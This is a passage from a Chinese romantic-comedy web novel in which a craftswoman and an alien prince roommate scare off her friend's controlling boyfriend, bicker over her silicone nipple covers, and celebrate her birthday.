这种渣男还留着干什么?等乔茉挂断电话,她实在忍不住出声。
可乔茉叹了一口气,难呀,这么多年她被男朋友pua惯了,直到今天才醒悟过来。可她男朋友不仅吃她的用她的住她的,还将她大部分的银行卡拿在手上,只留一张她用来工作赚钱的卡。
她男朋友那个不要脸和强控制欲的个性,贸然提分手只怕会闹得鸡飞狗跳。
念念姐,我实在……想不出什么办法。
乔茉无奈又痛苦。
确实是个棘手的问题。
姜念思忖着,来回踱步。
忽然,她停下来回到床边凑在乔茉耳边悄语。
渐渐的,
乔茉愁云满布的面上欢亮起来。
—
乔茉男友来到病房的时候,张口正要骂人。
但看见乔茉病床旁有一女一男,先是愣住了问你们是谁。
乔茉接口:这是我老家来的亲戚,大表姐和二表哥。
姜念盘起头发,戴着墨镜一副严肃的样子,开门见山:你就是我们家茉茉的男友吧,她这次生病刷银行卡差点都付不上医药费,她其他的银行卡都在你那,全部拿出来。
乔茉男友刚想吼“关你屁事”,可肩膀似有千斤压重下来,人一屁股坐在椅子上。
阿波若带着黑
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色口罩,高大的身形极具压迫感,只伸出一根手指头按在乔茉男友肩头上,令他动弹不得。
姜念:你不拿?好呀那我们就报警,看警察来了怎么给个说法。
一听到报警,乔茉男友脸色都变了。
阿波若瞧见姜念的眼神,又加重了半分按在那人肩头的力。
疼得乔茉男友喘不上气,哑声直呼:我拿我拿!
便哆哆嗦嗦从钱包里掏出几张银行卡,递过来。
乔茉看过,是全部的银行卡,点了点头。
姜念会意,便使眼色给阿波若,他便松开了力。瞧见乔茉男友那个哆嗦样,她故意放缓语气:“其实我们也希望茉茉过得好,你们也处了这么些年了,以后一起还完了债,再结了婚好好过日子才是正事。”
还、还债?乔茉男友满头雾水。
乔茉:我前段时间想和朋友合伙做国风文创但被坑了,加上我现在所有银行卡里的钱,还有80万的窟窿补不上,只能你我一起慢慢攒钱还了。
你!你欠的钱凭什么让我一起……乔茉男友急得要跳起来,又被阿波若一根指头按回座位。
姜念:你是她男友不帮着一起还谁还?吃住用玩都是我们茉茉的钱,有福你享了现在她有难了你不想同担?你当我们茉茉是没有娘家人撑腰是吧!
紧接着,阿波若又动了动手指头。
直接把乔茉男友按趴在地上。
他吓得六神无主,爬起来直呼:我没钱,求求了放过我吧。小茉你我我我们分手吧,你你你值得更好的!
一溜儿烟逃命似的飞奔出门出,
还摔了个大马趴。
—
“演技不错。”
姜念看向阿波若,称赞道。
阿波若哼了一声,面上波澜不惊,心里却甚是得意。
解决完事情,准备回家。
还没走出医院大厅,两人又斗嘴起来。
“你的那个袋子一股味道,弄得我头晕,今天我不拖地不洗衣服。”
“我的化妆袋装的都是化妆品明明香香的,你头晕那是你山猪吃不了细糠!”
“你骂我是猪?你才是猪!”、“你才是!”
……
“就是一股味道让人头晕。”阿波若愤愤,从口袋里扯出那两片裸色硅胶圆片,“特别是这个还碰到了我的嘴,呸呸。”
姜念的血液瞬时凝固了,
那、那不是……她的胸贴吗?
怎么在、在他的手里?碰到了他、他的嘴?
怎么还、还被戳了一个洞?
电光石火间,姜念反应过来:当时他不就是变成一只小麻雀,有尖尖的喙子。
所以那个洞是被他的喙子戳穿的……
他的喙子,就是他的嘴。
而她的胸贴……被他的嘴……
啊啊啊啊啊啊———
大脑已宕机。
这到底是个什么东西?阿波若拿着胸贴不断端详,发现有粘性,吧唧一下沾在了自己额头上。
医院大厅来人往,众目睽睽之下。
姜念不顾一切飞扑过去,朝着他脑门就是一掌。
要命啊!一定要把那个东西从他额上扯下来!
他不要脸,她姜念还想要脸呢!
——
似乎一切都静止了。
来来往往走动的人群听见声响,都朝同一个方向好奇看过去。
姜念发现自己脚底悬空了,被阿波若一只手臂抱在怀里。
贴在他额头的胸贴,不知所踪。
东、东西呢?
姜念颤声,眼神慌忙要四处找。
被我收起来了。
她听见阿波若沉声,心里松了一口气。
又听见周围有护士小姐姐们打趣的笑声:你瞧瞧人家,多甜蜜呀!又抱又亲的年轻人就是大胆喽……
听得她都不好意思直想低头。
却发现,在阿波若潮红的耳垂上有一个更红的唇印。
是、她、的。
“姜念——”
她听见阿波若的声音紧贴在她颈边,前所未有的黏沉。
“你为什么,要咬我耳朵?”
14. 咬你
呜,她软软的唇带着一丝潮热贴上来。
又咬了阿波若的耳垂。
这次不一样,被她小小的牙齿咬着,麻麻痒痒的。
温热的气息尽数吐露在阿波若的脖颈。
一寸、一寸、一寸地撩拨着。
很快,她的唇又缓缓下移,去咬他的脖颈。
阿—波—若。
她边咬边轻声唤他的名字,一遍又一遍。
仿佛海妖吟唱,声声勾人魂。
阿波若已经无法思考,凭着最后的一点意志想去捉那只在他身上不安分游走着的小手,却反被小手轻松捏住,拷牢。
放——肆。阿波若话还未落,耳垂又隐隐吃痛,被她肆意咬着。
紧接着他的下巴就被捏住,姜念柔柔的唇息自他耳边划过鼻尖,慢慢逡巡着,不断往下:
我,偏要放肆。
便狠狠朝他唇上咬下去——
阿波若一下醒过来。
客厅里一片黑,窗外隐约泛起淡淡的白。
原来只是个梦。
这么多年以来,他第一次做梦。梦见的竟然是姜念那样…对他。
怎么会,怎么会做那样的梦?
太不像话,简直……没眼看。
他越想耳越滚烫,抓起枕头一把捂住脸,倒在床垫上。
一定是她那个袋子里太香了,他被香昏了头,才会做那个奇怪的梦。
又难道,他被施咒了?
中了她小魔女的迷魂咒?
脑中忽然浮现出十三哥的面庞,似乎想告诉他:千万不要步王兄的后尘,被潘多拉魔女抓去并囚禁,永无自由之日。
越柔弱的女人,越会骗人。
这是十三哥被骗并被抓走前,最后一次对他说的话。
被他牢牢记在心底。
不过话说回来,十三哥就是太谦和儒雅,心又太软才会被潘多拉魔女惦记、被她骗。
他可不同,任凭对方耍什么花招都没用,一律打了再说。
阿波若抱着枕头侧了个身,却不禁又回忆起在医院那天,姜念嘴唇的温度似乎还残留在他耳垂上,时不时燃起。
奇怪,为什么被她咬的感觉会那么不同,又酥又麻,瞬间骨头都软了一样。
她……那是什么咬法?
难道地球人类都是这样咬人的吗?
想不通,好想……再被她那样咬一次。
想到这,阿波若抱紧怀里的枕头和小被子在床垫上滚来滚去。
那边卧室门轻轻响了一下。
他顿时停下不动了,闭上眼假寐。
听着那个细微的脚步声越来越近,他知道是姜念。
也不是去洗手间的方向呀,要干嘛?
大晚上不睡觉出来梦游?想吓他?
要不要反过来吓她一下?
阿波若心里坏笑,但瞬间这个念头就被彻底撕碎:不行,她身体那么弱,简直被吹一口气都要倒。万一被吓一吓晕过去怎么办、吓病了怎么办?
正想着,一只柔弱无骨凉凉的小手怯生生直接摸在他前胸。
阿波若大脑瞬间宕机。
姜念屏住呼吸,感觉自己像个变态——好好的觉不睡,跑来搜阿波若的身:
都怪他!自从那天从医院回来后,他就将她的那两片硅胶胸贴藏在身上,时不时还拿出来研究是什么东西,气死她了。
变态,他才是大变态!
无论如何,她都要尽快找到那个东西抢过来销毁。明抢肯定是抢不过的,只能智取。思来想去,最有机会的就是趁他睡觉的时候来偷。
前几天夜晚她假装去洗手间,其实是在偷偷观察他,人睡得比死猪还死猪。
便下定决心今晚动手。
借着窗外微亮的光,她蹑手蹑脚慢慢挪过来。
见阿波若睡意正浓,便小心翼翼隔着他的睡衣一寸寸轻摸:前胸、左大臂、小臂、没有;右肩、肱二头肌、小臂……到底藏在哪里啊?
再摸回胸肌、往下,人鱼线……画风越来越不对,他这身材,也、也也太好了吧。
好到令人发指。
姜念眨巴眨巴眼,一颗心怦怦乱跳,手心开始发烫。
赶紧吸吸鼻子,还好,没流鼻血。
等被那无比卓越的紧实腹肌咯到手时,又硬又绵,像一块滚烫的磁铁牢牢吸住她的掌心。
她都担心胸腔里鼓噪的心跳声太大将他吵醒,也只能咬紧牙继续向下探去。
等全身摸了一遍,她已觉自己后脖根烧透了,却一无所获。
烦死了,究竟藏在哪里?姜念懊恼,脑中飞速闪过一个诡异的念头——
该不会、他把那个东西藏在他那里了吧?
只有那里甚至周围,她是完全避开没有摸的,也不可能去摸呀!
要命,好变态啊!
姜念一把捂住泛起黄色泡泡的脑袋,又很嫌弃地甩了甩手,早知道就应该戴个洗菜的手套来摸,不然,现在手里全是他的味道。
更要命的是,她竟然觉得他身上的味道,有点好闻。
一定是睡眠不足脑子瓦特了。
—
阿波若感觉自己死了。
准确的说,是一会儿死一会儿活的。
姜念的手像一条不断游走的小蛇,绵绵软软却在他身上肆意妄为,焚掠他身上的每一寸肌肤,将他打入烈焰无间地狱。
可转瞬,又似柔水荡过,浸润得他骨头都绵了。
阿波若只好装睡,任凭身上时而地狱时而天堂的反复横跳,有好几次忍不住差点呵出声,又生生忍了回去害怕吓到姜念。
放肆、大胆、她竟敢……敢这样摸本王子?
要是换作从前,换作别人,别说是摸,哪怕妄想碰一下他王袍的下摆,后果也不堪设想。
他最讨厌被外人触碰。
在阿波罗星,除了母后还有王兄们曾捏过他的脸,逗他玩儿,但也只是在他孩童的时候。
可姜念,却是第一个敢摸他的外人。
一个柔弱的地球女人。
不仅摸他的脸,全身都要被她摸遍了。
停下停下停下!他心里急呵,企图坚定意志,可立刻有一个更大的声音淹没过来——
别停、别停、别停、别停……
最后这个声音无限放大完全将他占据、吞噬。
他不知姜念为何这样。
难道她真的隐藏太深,其实一直在觊觎他的身体、和他的神力?
他不知道,什么也不知道。
只知道如果一直装睡。
她就不会停,是吗?
阿波若拼命闭紧眼睛,简直要将眼皮
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焊死在眼球上。
一时用力过猛,蝶翅般的浓密睫毛激动得乱颤。
姜念:……
你小子,竟然一直在装睡。
莫名一股火从她心头腾起。
“装睡好玩儿吗?”
姜念冷冷道。
阿波若:?
这么快就被发现了?明明他眼睛闭得好好的呀。那她,是不是就不摸了?阿波若心里有点失落,仍固执闭紧眼睛继续装睡,企图蒙混过关。
还装!气得姜念忍不住拧了他胳膊一下,可于阿波若而言更像被她纤柔的手指弹了弹,好玩儿很。
弹吧弹吧。那,等下她是不是又会继续摸了?阿波若面上佯装淡定,内心却无比期待,只差唇角没有咧到耳后根。
“啊哈哈哈哈哈痒啊——”他瞬间爆发出一串大笑大叫。
把姜念都震惊了。
刚才她见拧他胳膊没用更气不过,不禁蜷紧了拳头。没料到,她的指尖正好划过他的肌肤,像轻轻挠了一下。
却让他整个人一激灵。
难道,他不怕疼,怕痒痒?
姜念纤弱无骨的素手已然伸过去。
“哎哎哎哎你干嘛哈哈哈哈痒啊!住手哈哈哈快住手!”、“快说那两块圆片你藏在哪里?不说我就一直不会停!”
“哈哈哈哈姜念!小魔女!你放肆!啊哈哈哈哈哈哈我不说!”
“你说不说?你说不说!”
姜念朝着他的脖子使劲痒痒。
大刑伺候。
挠得阿波若浑身无力,快笑蹶过去。
姜念!你等着!哈哈哈哈哈好痒啊痒啊!阿波若嘴上比铁还硬,心里却又气又酸,刀光剑影受伤流血甚至死他都不会眼睛眨一下,却独独怕被她挠痒痒。
他堂堂王子的神风何在,他堂堂战神的威严何在?
但更令他心里酸酸的是,原来她是为了找那两块圆片才不惜大半夜不睡觉来摸他,到底是什么鬼东西就那么重要?
比他堂堂阿波若王子和神力还重要?
她摸他,居然只是为了找那么个破东西。
这对吗?
这对吗?
这对吗!
他恨不得把那两块圆片搅碎、扔出地球。不,扔出银河系!
就算痒死他,他也不会说出圆片藏在哪。就让她找、找到时间停止、宇宙崩塌!他绝不说!
谁让她,摸他,只是为了找两块破东西……
阿波若咬紧牙根偏不让自己再发出一丝笑声,狠狠盯住姜念。
一颗心却早酸得七零八落了。
还不肯说是吧?姜念气头正盛。
整个人扑上去放大招狠命去挠阿波若的腰。
阿波若被挠得左扭右扭笑岔气,几乎丢盔弃甲。
快说!
一挠起痒来就愈加发了狠,姜念甚至没注意到自己已经跨坐在阿波若的腹肌上。
我不说!喘息间阿波若眼眶潮红,好不容易找准机会一把捏住自己胸前那双在狠命挠的姜念的手,可偏偏她支撑不稳倒下来。
他赶紧施力撑住她,生怕她受一丝伤。
可他身上睡衣却被完全撕开,袒露出健硕胸肌,厮磨着她的掌心。
她的唇,正不偏不倚压在他唇上。
还,狠狠咬了他一口。
15. 姐夫 “那、那个你,你是谁呀?”
身为最忠诚的武器,光明三叉戟自认为随着自家王子殿下出生入死、什么大风大浪没有见过,却第一次见他如此傻笑:
已经站在阳台约莫一个小时了,依旧笑意不减,时不时用手指去摸微肿的嘴唇。
那个笑,它从未见过,甚至比先前大败敌军时还要开心。
它不懂,怎么在武器库短短休息了一个晚上,一大早上出来却发现王子殿下仿佛变了一个人似的,
并且,它敏锐地发现——王子殿下连嘴唇都是肿的。
战无不胜的王子殿下,竟然有人能伤得了他,这科学吗?
狂拽冷酷的王子殿下,竟然被伤了后还如此开心,这科学吗?
它要为王子殿下出征,去讨伐那个不知天高地厚的敌人。
王子殿下却说,它不懂。
然后继续傻笑。
差点把三叉戟的CPU烧干。
它确实不懂,但大为震撼。
—
阿波若回想起昨晚,唇角都止不住疯狂扬起。
他就知道,姜念果然觊觎他的身材。
又是扒衣服,又是咬他的唇。
那个感觉,开心。
好,开心!
他眼神撇过,瞧见三叉戟正歪头认真瞧他,便故意望了望天,今日阳光不错,本王子心情尚可。
天气不错?
光明三叉戟见外面灰突突的天,哪里能见一丝太阳的影儿?
王子殿下这是怎么了,不仅嘴唇伤了眼睛也伤了吗?
难道,他不是被敌人咬肿了嘴唇,
而是咬坏了脑?
它搞不懂,只能像小狗狗一样去蹭蹭阿波若。
阿波若摸了摸它尖尖的叉子。
三叉戟,此次任务艰险,你愿意随本王子一同迎战吗?
他开口,眼神坚毅,豪气万丈。
三叉戟铮铮发出声响,誓死追随。
下一秒,一人一器就低头开始晾洗好的衣物。
满满四大盆,不仅有衣服还有床单被套,连沙发罩也被阿波若拆下来洗了。被姜念咬了唇之后,他哪里还能睡得着?
好不容易挨到天大亮,他已经感觉浑身的血液都沸腾了,一刻也不能静下来。只能疯狂找事情做,拖完地擦窗户、擦完窗户擦桌子,擦完桌子洗衣服。
这一洗,把能拆能洗的全洗了个遍。
阿波若把床单晾好,见三叉戟两个叉子窝里各挂着七八个用衣架穿好的衣服,任劳任怨。
不愧是他最忠诚的武器。
亲手培养出来的好战士、好搭档。
三叉戟,你觉得这两块圆片会是什么东西?等晾完衣服,阿波若从武器库里取出那两块胸贴问道。
过去这么多天了他还是想不出这是什么东西,却仍不死心想要一探究竟。
偏就不信了,这么两片小东西,还能难得倒他?
三叉戟晃了晃叉子,也猜不出是什么。
肯定不是一般的东西,不然姜念不会那么在意,非要抢回去。阿波若吧唧一下将胸贴粘在裸露的手臂上,这东西最奇怪的就是有粘性,但又是专门贴在哪里呢?
从手臂上揭下,吧唧一下他又将胸贴粘在三叉戟的杆身上。难道这是一种小型的软甲,是地球人类专门用来保护自己的?
吧唧,他又将胸贴粘回自己肩膀,灵光一闪:
这不就是战袍护肩嘛。
呵,还是被他破解了吧。
三叉戟立刻应景地发出铮铮铮的声响,化身小迷弟无比崇拜。
王子殿下果然厉害,宇宙第一聪明。
阿波若很是得意。
反手一挥,忽然从身后泼来的水瞬间化成水雾消散。
—
姜念手里拿着水杯,身裹厚厚的毯子,额贴退烧贴,怒不可遏。
没想到凌晨那一闹腾,她直接重感冒了。
明明那时候她穿了厚外套,但还是着了凉——没多久就开始打喷嚏流鼻涕,头又痛身上又沉,四肢发软像泡在醋缸里腌酸一样。
以为睡一觉发发汗就好了,没想到睡醒起来嗓子仿佛吞了刀片,头也滚烫,她赶紧从抽屉里找出一张退烧贴粘在头上,拿上水杯摇摇晃晃开门去厨房加点热水找药吃。
但一开门,就差点气得她半死:
阳台上晾着一堆湿漉漉的衣服,沙发罩子也被拆下来洗了。可这阴沉沉的天,恨不得立刻就要下雨,他洗那么多衣服哪里能干得了?
脑子进水啦!
又正看见阿波若将那两片胸贴从他的三叉戟上揭下来,吧唧一下贴在自己肩上。
发出得意的笑。
快给她一把刀,她现在就去把那个外星傻子大卸八块。
气得头更晕了。
姜念想也没想,直接将水杯里的水泼过去,可惜在空中化成了水雾。
可恶,怎么没淋他个落汤鸡,好解解恨?
姜念愤愤,胸口又闷、脚发软一下子要往地板瘫坐下去。
却感觉腰间发紧,直接坐在了阿波若怀里。
他瞬移过来,单膝跪地,一手揽住姜念将人接到自己大腿上坐着,挑起眉。
“你发烧了?脸好红像猴子屁股。”
不会说话就别说,姜念翻了个无敌大白眼。
“要你管!”
“谁要管你。”阿波若嘴上这么说,却偷偷在姜念背后摊掌催动神光为她治疗。
却见姜念忽然朝着他肩头一伸手。
“你又想把这个东西拿回去。”他轻哼一声,一只手高高举起原先贴在肩头的两片。
头仰起,微肿的唇更加明显了。
直接将姜念的思绪拉回当时:都怪他不肯交出东西,害得她重心不稳倒下去,害得她的嘴压在他的嘴上。
害得她紧急之下赶紧闭紧嘴巴,却阴差阳错咬了他一口。
苍天可鉴啊她可不是亲他呀,是不小心、是意外,顶多只能算嘴唇间的碰撞。
虽然但是吧,他的嘴唇……质感还是蛮好的。
不过,要知道他现在嘴那么烦人,她后悔当时没有多狠狠咬几口。
咬得他说不出话才好。
“本来就是我的东西,还给我!”敛回思绪,姜念怒呵。
可阿波若却笑,手举得更高了:不就是个护肩软甲,看起来一点用都没有。这么个破烂东西也值得你当宝贝一样?
护肩软甲?一时间姜念都没反应过来。
也好,只要他还不知道那个东西的真正用途,爱说是什么都行。
是是是护肩软甲,快还给我。姜念连连点头,起身要去拿。
不对。阿波若眼一眯,高举的胸贴瞬时消失在姜念眼前,又被他收起来了。
你骗人,那个东西肯定不是护肩软甲。你不告诉我,那我就再好好研究研究。
他眉间一挑。
苍了天了,大傻子竟然突然长脑了。<
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p>姜念气得想笑。
“滚——”字的音快到嘴边时,外套口袋里的手机铃声赶巧响起来。
是乔茉打来的电话。
特意来感谢姜念,她已经在医院接受全面的专项治疗,决心养好身体,彻底摆脱身材焦虑和渣男pua:
自从在医院演了一场后,渣前男友真以为她欠了80万的债,就怕被连累当晚就从她家里搬了出去,连所有的联系方式都删了,可把她乐坏了。
大快人心。
听到这,姜念也为乔茉感到高兴。
除了感谢,乔茉还想专门邀请姜念去参加汉服国风之美推广典礼:
之前她找姜念订制绒花发簪也是为了这个推广,姜念为她们团队量身设计了以兰桂齐芳为灵感的系列发簪,桂花馥郁、兰花清雅,相辅相成,大受团队成员们的喜爱。
不日国风之美推广典礼就要举行,她送姜念两张至尊VIP票,住宿和专职司机接送她也全包了。
搞得姜念哪好意思,直推脱说不要破费了。
“念念姐,你就别操心了。到时候你和姐夫一起去玩玩,权当放松放松。”
乔茉打趣地笑。
姐、姐夫?
姜念一下没反应过来。
“哎呀念念姐你可瞒不了我,那天在医院你说叫个朋友来壮壮声势,我看哪里是什么朋友,一看就是未来姐夫嘛!将来你俩办喜酒记得喊上我呀。”
一句话把姜念石化在原地。
这下误会大了,她赶紧向乔茉解释她和阿波若不是那种关系,可乔茉始终却是一副磕到甜甜真CP的狂热上头感,怎么也不信。
越解释越苍白,姜念人已经麻了。
等挂了电话,她感觉自己都快被乔茉这个CP粉头子同化了。
“姐夫是什么意思?”
突然,阿波若冷不丁冒出一句。
唬了姜念一大跳。
哎呦他怎么听了去?耳朵也太灵了吧。
“没什么意思,你不用知道。”她佯装随意,迅速终结这个话题。
不知是不是退烧贴起了效果,她感觉烧退了,身体轻松了不少。
正要回卧室。
大门外有敲门声。
谁呀?她走过去透过猫眼看,欢喜得一下把门打开。
和发小钟云儿紧紧抱在一起,俩好姐妹开心得上了天。
小云云你怎么来了?还带那么多东西来。姜念又惊又喜。
怎么,我不能来看我的发小呀?念念我好想你呀。你想我没?钟云儿朝她撒娇,又提起手里的大蛋糕,你还好意思问我为什么来,明天是你生日!你哪年生日少得了我?
看到蛋糕,姜念才记起明天是自己生日。
她自己都忘记了。
可发小始终记得。一时间眼泪快涌出来,她抱紧钟云儿,钟云儿也抱紧她。
直到,钟云儿轻轻急拍了她几下,手指过去:“
“那、那个你,你是谁呀?”
钟云儿指的正是傲然站在那,直直望过来的阿波若。
完了,忘记阿波若还在家里!姜念脑子嗡的一下炸开,正要解释,却对上钟云儿360°八卦的波浪笑:念念,有情况呀这是~速速坦白!
我知道你急但你先别急——姜念刚要解释。
却瞥见阿波若径直朝这边走过来,
气势非凡。
他挑了挑眉,开口:
“我是姐夫。”
16. 钟云儿
钟云儿端着茶杯,坐在光秃秃的沙发上,目光时不时移向阳台满挂的衣服和床单,还有立在角落的床垫。
用肩膀挤了挤身旁姜念,在她耳边压低嗓音:
“你们……昨晚那么激烈呀?哎呦一大早这又是洗床单洗衣服的,下雨呢今天。”
一句话把姜念呛个半死,茶水差点从鼻子里冒出来。
这都,都想哪儿去了?她越着急解释越咳得厉害,满脸通红。钟云儿赶紧拍拍她的背帮顺气,看来没猜错昨晚是相当激烈,念念那么稳重的一个人现在都激动了,脸红得哟。
想想也是,脸客厅都摆着好大一张床垫,从卧室……到客厅,哎呦。钟云儿为好闺闺感到开心,吃得很不错嘛。
朝着姜念竖起大拇指。
“不是,不是你想的那样。”姜念总算不咳了,抬手啪的一声拍在钟云儿翘起的大拇指上,实在哭笑不得。
钟云儿哦了声,点点头,可下一秒却冒出更语出惊人的:“是我猜得太保守了?那这段时间晚上你……还吃得消吧?”
见姜念面色水润,比之前的苍白虚弱不知好了多少,一看就是最近滋润得不错。但作为发小好闺闺,她还是不得不担忧下姜念的身子。
那个自称姐夫的,一看就是痴缠着姜念闹到天亮的主儿。她和姜念好姐妹叙旧呢,就上赶着来表明姐夫的身份,那个占有欲哦。
浓浓的八卦之火在脑中喷涌,钟云儿意味深长地笑:“深藏不漏啊念念,在哪儿找这么个顶级混血男模?你们怎么认识的?在哪儿认识的?在一起多久了呀?……他自称是姐夫,难道你们领证了?”
一连串的炮弹样的问题直接将姜念炸蒙。
麻了,她选择闭麦了。
钟云儿惊呼双手捂嘴,“天,不会你们真的直接领证了吧?你妈知道吗?”
姜念:……
她伸手弹了一下钟云儿脑门,“小云云,根本没有的事别胡思乱想。”
钟云儿摸着脑门,也对哦结婚是要户口本的,你户口本在老家你妈妈收着呢。瞧我这记性。
那你们打算结婚吗?还是再处处?她话锋一转,还没绕出去。
姜念已被击败。
但由于阿波若的外星人身份,又不可能直接和小云云解释;说他是合租室友吧,他一上来就说自己是姐夫,换谁听了不八卦?她再说是合租室友,小云云才不相信呢。
都怪他,什么也不懂却满口胡说。
想到这,姜念一记眼刀飞向阿波若。
阿波若悠悠靠着墙,正迎上姜念锐利的目光,却唇角一扯。
那模样,欠欠的很。
惹得姜念恨不能冲过去扯烂他的嘴。
瞧着两人你来我往的眼神,蜜里调油的,钟云儿一副磕到了磕到了的表情。
但毕竟作为姜念的娘家人,她还是要考验考验男方:万一是个中看不中用、上得了厅堂下不来厨房的不会疼人的货色,那可不行。
便清了清嗓子问:
“姐夫呀,平时在家谁做饭刷碗洗衣拖地呀呜呜呜——”话还没说完,嘴就被姜念捂住。
“叫啥呢他不是姐夫!”姜念头大,压低声音急道。
可却听见阿波若的声音传来:
“我。”
只见他朝阳台仰了仰头,“全是我洗的。”
呜呜呜呜呜。被捂紧嘴的钟云儿眼里露出认可的目光。
紧接着,阿波若又来了一句:
“我就是姐夫。”
哇——钟云儿的嘴好不容易挣脱出姜念的手掌,发出长长一声叹,霸气呀。转头朝姜念道:“念念,我的姐,这个姐夫暂时可以打到65分。”
立刻转入最重要的话题:那你是做什么工作的?赚的钱全部上交给我们念念吧?
会收拾家务会疼人是基本,但会赚钱也很重要。见姜念还是租住在这个小出租屋里,把带来的那些土特产放她冰箱时,发现冰箱空得让人心酸:除了一些鸡蛋和青菜,连肉都没见一块。
看得人眼泪差点掉下来。她知道念念要强以前一个人还债节约也就算了,怎么现在两个人在一起了还是那么节省?
怕就怕,眼前这个顶级样貌的所谓“姐夫”徒有貌美,实则却是个吃软饭的。
越漂亮的男人,越会骗人。
她怕念念重蹈覆辙,再遇见第二个死渣男方以伦!
眼见越说越偏了,姜念生怕阿波若会抢先说出什么胡言乱语,赶紧继续用兼职散打教练这个职业为他捏造身份,两人一起攒钱一起还债,只是现在债务依旧很重能省一点是一点;
至于冰箱空空如也她向钟云儿解释最近口味清淡,注重调理不爱吃荤腥的。
但营养准够,不然她也不会长胖了。姜念心虚,笑着捏捏自己胳膊。
其他都是骗人的,但长胖这点不假。连她自己都觉得奇怪:为了省钱平时都只挑最便宜的肉买甚至不买,要不吃点青菜顶多加个鸡蛋当荤菜。
阿波若是不吃地球食物的,嫌弃食物粗糙。他不吃饭,只帮她做一日三餐,每次都翻白眼嘲笑她买菜死抠门,吃得比蚂蚁还少。
可他懂什么?不当家不知柴米油盐贵,她当然要尽一切可能能省则省。
只是没想到都这样省到极致了,她反而长胖了一些,气色也比以前好。神奇,难道误打误撞修仙了?
“口味清淡、不爱吃荤腥、长胖了……”钟云儿又惊叹双手捂嘴,声音发颤:
“念念,你不会是——怀孕了吧!”
……
姜念无奈闭上眼。
她可真服了。
—
吃完了晚饭,等到零点刚过姜念吹了蜡烛,许了愿,吃了蛋糕,钟云儿也要回酒店了。
虽然实在舍不得姜念,俩人许久没见一分钟都不想分开有太多话要说,但钟云儿明天下午还要赶去别的城市参加技能培训会,这次只是专门为了姜念生日转道过来榕宁。
而且念念过生日,重头戏当然是她和男友的幸福二人时光啦,钟云儿怕自己这个电灯泡太久太闪,极其自觉地拉住姜念胳膊,说酒店就在对面街近得很,不用送,又低声耳语:
“春宵一刻,值千金哈~”
眼睛眨巴眨巴的,简直八卦没了边。
姜念又无奈闭上眼。
虽说酒店近,但大晚上她不放心让钟云儿一个女孩子回去,就和阿波若一起去送。等从酒店出来,抬头正瞧见一弯月,几颗星。
手机讯息嗡嗡轰炸起来,是小云云发照片过来。两人今天拍了好多姐妹照,也有很多她的
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单人照,张张都美。
其中还有一张是她和阿波若的,照片上的两人都在狠命往对方脸上糊蛋糕奶油,互不相让。
可就是这张小云云居然说好甜、磕到了。
我的云啊,这也能磕上?
没看见我和他咬牙切齿你死我活的吗?
姜念一抬头,撞见阿波若垂眸的目光锁在她手机屏幕上。
“好丑。”
他冷哼一声。
姜念点头,“那是你丑。”
大步流星潇洒回家去。
小妹姜然的祝福也早已发来,还给姜念发了个红包让她过生日买点好吃的。姜念知道红包肯定是妹妹省吃俭用用零花钱攒的,她哪里舍得拿。
心意收下感谢妹妹的挂念,又叮嘱妹妹好好准备中考。
妹妹问姜念,什么时候回老家,她很想姐姐。
姜念心中一阵酸楚,只佯装开心回说等姐姐再多赚一些钱,就回去给她买好吃好玩的。
但她心里清楚,她是被丰林老家放逐了的人,不可能轻易回去了。
当初从丰林落荒而逃,狼狈不堪,要回去也要堂堂正正的回去。
还清债务,重开锦华。
这个念头,她一分一秒都不敢忘。
手指点在屏幕上滑动,最后停在一个人发来的讯息上,冰冷冷扎进她心里:
“你不回来,就永远别回来了!”
“当我从来没生过你这么个女儿!”
不是生日祝福、不是亲情关心,是妈妈对她的无比怨恨。
怨她,
给家人丢尽了脸。
一滴泪悄无声息划过脸颊,她赶忙用手背去抹,生怕被阿波若看见。
省得被他嘲笑。
她唇角翘起,佯装很开心的笑。
心底却觉得无尽苦涩。
这一切都被阿波若看在眼里,瞒不过他的眼睛。
她在装,装作很开心,但那双眼却出卖了所有。
“生日快乐。”
他开口,嗓音低柔。
姜念猛然抬起头,对上他那双不输今晚月色清霁的琥珀眼。
忍不住揶揄:
“刚才我切蛋糕的时候让你说还说得含含糊糊的,不知道还以为谁逼你似的。现在怎么突然又肯说了,知道这几个字什么意思吗?”
“生日快乐。”
阿波若直直望着她,又说了一次。
姜念一愣。
“谢谢啊。”她笑起来,转头去瞧天上的月亮。
好久没见这么美的月色了。
她感慨。
阿波若却无心去看月亮,眼神黏在姜念身上,片刻也挪不开。
原先他刚得知生日是指地球人出生那天的日子,并且每年都要庆祝,实在无法理解甚至嗤之以鼻:
这有什么好庆祝的,不就是地球又公转了一年吗。
但今天是姜念的生日,她很开心,阿波若第一次见她那么放松的开心过。
虽然不理解,但他发现只要说“生日快乐”这四个字,她就会很开心。
他不想她难过。
想让她一直,开心。
“姜念。”
他情不自禁地,再开口:
“生日快乐。”
17. 小肥啾
绶带鸟的绒花假发终于做好。
姜念悬在嗓子眼的一颗心暂时放下半颗。
还剩下那半颗,当绶带鸟将假发戴在头上并在她化妆镜子前左照右照赞不绝口时,才算真正放下。
客户很满意,不枉费这段时间她熬红的双眼:
绶带鸟想要订做假发,一开始可把她愁坏了。连续想了好几个晚上,并考虑到鸟类飞行的特点,最终她确定了设计稿——为绶带鸟制作一顶绒花假发冠。
假发冠整体仿照绶带鸟头羽冠的模样,颜色、毛流感几乎一比一还原。考虑到鸟类的体重,姜念特意选用更轻的铜线和更细的细线只为发冠更轻薄舒适。
而假发冠尺寸小,制作上更加困难需要倍加细心,一不小心就容易出错。
光是订初稿、做样品就改了不下十几次,之后又依据效果反复调整了十几次,姜念做得眼睛都快做眍了。
所幸最终的成品效果很好。
绶带鸟戴上绒花假发冠,俨然像是它本身头顶的羽冠一样自然和谐,而头顶那块斑秃又被完全遮住,立刻灵动非常,神气十足。
连带着它自己也自信起来,全然不似当初头包树叶那副畏畏缩缩的焦虑模样,在姜念卧室里翩翩飞舞,美得如梦如幻。
姜念由衷为绶带鸟感到开心,也很欣慰:
这么多年来她制作绒花饰品,为许多客户送去绒花之美,分享绒花之美;而她也能以绒花之美,为绶带鸟、乔茉他们抚平焦虑,发现自身最本原的美。
正如绒花一般,历经千年,依旧芳华永存。
绶带鸟万分感谢姜念,几天后不仅带了礼品、还带来了一个好消息:
他通过了选拔考试,以第一名的成绩成为了凤凰使者中的一员。
其实在此之前他也参加了很多次选拔,飞舞技巧、捉虫技巧……这些考核项目每一项次次都是第一,但因为秃顶他焦虑消沉却次次都在最后一关面试退出选拔。
